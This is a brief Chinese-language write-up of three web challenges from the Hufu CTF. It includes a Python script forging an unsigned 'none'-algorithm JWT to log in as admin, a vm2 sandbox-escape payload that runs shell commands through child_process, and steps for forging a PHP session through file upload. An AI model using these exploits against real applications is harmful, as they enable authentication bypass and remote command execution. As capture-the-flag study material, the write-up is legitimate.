虎符CTF_Web_Wp

虎符CTF_Web_Wp

前言

菜鸡太菜了,最近都是node的题,写Wp来记录一下

easy_login

/controllers/api.js下找到逻辑源码
登陆到admin用户就可拿到flag,但是不让注册admin,而且jwt的密钥长36位,不能爆破。
jwt的常见攻击手法:
当用户传入jwt 密钥为空时jsonwebtoken会采用algorithm none进行解密

1
2
3
import jwt
flag = jwt.encode({"secretid":"","username":"admin","password":"123456"},algorithm="none",key="").decode(encoding='utf-8')
print(flag)

随便注册一个,然后登陆admin``123456

访问/api/flag拿到flag

just_escape

还是node,惨兮兮
Error.stack可能是VM2沙盒
https://github.com/patriksimek/vm2/issues/225

1
2
3
4
5
6
7
8
9
10
11
import requests
payload = """(function(){
try{
Buffer.from(new Proxy({}, { getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")(); }
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
} })()"""
r = requests.get('http://846e204ebe504c619bf5bb6387cb02734daeea7f873840ef.changame.ichunqiu.com/run.php?code[]='+payload)
print(r.text)

babyupload 之后复现(咕咕咕

两部分一个上传一个下载
需要伪造admin拿到flag
那就伪造session
通过下载direction=download&filename=sess_77bc2fc482ff772b893185d04cab988f
可以知道我们的session的内容usernames:5:"guest";
所以我们先上传文件名为sess的文件usernames:5:"admin";
然后把我们的SESSION_ID改为sess_[sha256(文件内容)]就可成为admin